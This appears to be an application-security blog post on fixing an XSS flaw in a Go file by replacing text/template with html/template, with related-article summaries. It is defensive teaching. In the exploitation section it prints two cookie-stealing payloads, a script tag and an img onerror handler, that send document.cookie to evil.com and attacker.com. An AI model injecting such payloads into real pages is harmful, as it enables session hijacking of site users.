Back to Blog
low SEVERITY6 min read

From text/template to html/template: Closing the XSS Door in Go

A cross-site scripting (XSS) vulnerability was discovered and patched in a Go-based application where the `text/template` package was being used instead of the safer `html/template` package for rendering HTML content. This single-line fix — swapping one import — prevents user-controlled data from being injected as raw HTML, closing a potential attack vector for malicious script injection. While rated low severity, XSS vulnerabilities are among the most common and exploitable web security issues,

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This vulnerability is a Cross-Site Scripting (XSS) flaw (CWE-79) in a Go application caused by using the `text/template` package instead of `html/template` for rendering HTML. The `text/template` package does not escape HTML special characters, so any user-controlled data passed to templates is rendered as raw HTML — allowing attackers to inject malicious scripts. The fix is a one-line change: replace `"text/template"` with `"html/template"` in the import block. Go's `html/template` package is context-aware and automatically escapes dangerous characters, neutralizing XSS payloads before they reach the browser.

Vulnerability at a Glance

cweCWE-79
fixReplace `import "text/template"` with `import "html/template"` in the affected Go source file
riskAttacker-controlled input rendered as raw HTML in the browser, enabling script injection
languageGo
root cause`text/template` used instead of `html/template` for HTML rendering — no automatic HTML escaping applied
vulnerabilityCross-Site Scripting (XSS) via unsafe Go template package

Introduction

Cross-site scripting (XSS) is one of those vulnerabilities that developers often underestimate — until it's too late. It consistently ranks in the OWASP Top 10 and is responsible for countless data breaches, session hijackings, and malware distributions every year. The good news? In Go, preventing a whole class of XSS vulnerabilities can be as simple as changing a single import.

This post walks through a recent security fix where swapping text/template for html/template in a Go application closed a potential XSS vulnerability. We'll explain what went wrong, how it was fixed, and what you can do to prevent similar issues in your own codebase.


What Is This Vulnerability?

At its core, this vulnerability falls under the category of unsafe template rendering — specifically, using a template engine that does not automatically escape HTML output when rendering user-controlled data.

In Go, the standard library ships with two template packages:

Package Purpose Auto-escapes HTML?
text/template General-purpose text rendering ❌ No
html/template HTML document rendering ✅ Yes

The difference seems subtle, but it's critically important. When you render user-supplied input using text/template, that data is inserted as-is into the output. If a user submits something like:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

...and your template renders it without escaping, that script tag ends up in the HTML response — and the browser happily executes it.


The Vulnerability Explained

Technical Details

The vulnerability was flagged in internal/llminternal/agent_transfer.go, where the code imported text/template to generate HTML output. Here's the problematic import:

// ❌ BEFORE — Unsafe: no automatic HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "text/template"  // Does NOT escape HTML characters

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

When text/template renders a template, it treats all data as plain text — meaning special HTML characters like <, >, ", ', and & are passed through unchanged. If any of that data originates from user input (directly or indirectly), an attacker can craft input that breaks out of the intended text context and injects executable HTML or JavaScript.

How Could It Be Exploited?

Imagine a template like this:

tmpl := template.Must(template.New("response").Parse(`
    <div class="agent-response">
        <p>{{.UserInput}}</p>
    </div>
`))

With text/template, if UserInput contains:

Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">

The output HTML would be:

<div class="agent-response">
    <p>Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))"></p>
</div>

The browser renders the broken image, triggers the onerror handler, and silently exfiltrates the user's cookies to an attacker-controlled server. The user sees nothing unusual.

Real-World Impact

Even though this vulnerability was rated low severity (likely due to the specific context and limited attack surface), XSS attacks can lead to:

  • 🍪 Session hijacking — stealing authentication cookies to impersonate users
  • 🔑 Credential theft — injecting fake login forms to capture passwords
  • 🦠 Malware distribution — redirecting users to exploit kits
  • 🕵️ Keylogging — capturing everything a user types on the page
  • 🎭 Defacement — altering the visible content of a page

In an LLM/agent context (as suggested by the file path llminternal/agent_transfer.go), XSS could be particularly dangerous if AI-generated responses or external data sources are rendered in a web UI without proper sanitization.


The Fix

The fix was elegantly simple — a one-line change:

// ✅ AFTER — Safe: automatic context-aware HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "html/template"  // Automatically escapes HTML, CSS, JS, and URL contexts

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

How Does html/template Solve the Problem?

The html/template package is a context-aware template engine. It understands the structure of HTML documents and automatically applies the correct escaping based on where the data is being inserted:

Context Example Escaping Applied
HTML element content <p>{{.Data}}</p> HTML entity encoding
HTML attribute <a href="{{.URL}}"> URL + HTML encoding
JavaScript string <script>var x = "{{.Val}}"</script> JS string escaping
CSS value <style>color: {{.Color}}</style> CSS escaping
URL parameter <a href="/path?q={{.Query}}"> URL encoding

With html/template, our malicious input from earlier would be rendered as:

<div class="agent-response">
    <p>Hello! &lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/exfil?data=&#39;+btoa(document.cookie))&quot;&gt;</p>
</div>

The browser displays the text literally — <img src=x onerror=...> — instead of interpreting it as HTML. Attack neutralized. ✅

The html/template API Is a Drop-In Replacement

One of the best things about this fix is that html/template is API-compatible with text/template. In most cases, you only need to change the import — no other code modifications required. The same template.New(), template.Must(), template.ParseFiles(), and tmpl.Execute() calls work identically.


Conclusion

This fix is a perfect example of how a single line of code can make or break your application's security. Swapping text/template for html/template costs nothing in terms of functionality or performance, but it buys you automatic, context-aware protection against an entire class of XSS vulnerabilities.

Key takeaways:

  • ✅ Always use html/template when generating HTML output in Go
  • ✅ Never trust user input — treat all external data as potentially malicious
  • ✅ Use static analysis tools like Semgrep and gosec in your CI/CD pipeline to catch these issues automatically
  • ✅ Layer your defenses — combine proper escaping with Content Security Policy headers
  • ✅ Small fixes matter — even "low severity" vulnerabilities deserve attention before they're chained with other issues

Security isn't always about complex exploits and zero-days. Sometimes, the most impactful improvements come from understanding your tools, using the right library for the job, and building automated checks that catch these mistakes before they ship.

Stay secure, and keep shipping safe code. 🔐

Prevention and further reading

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.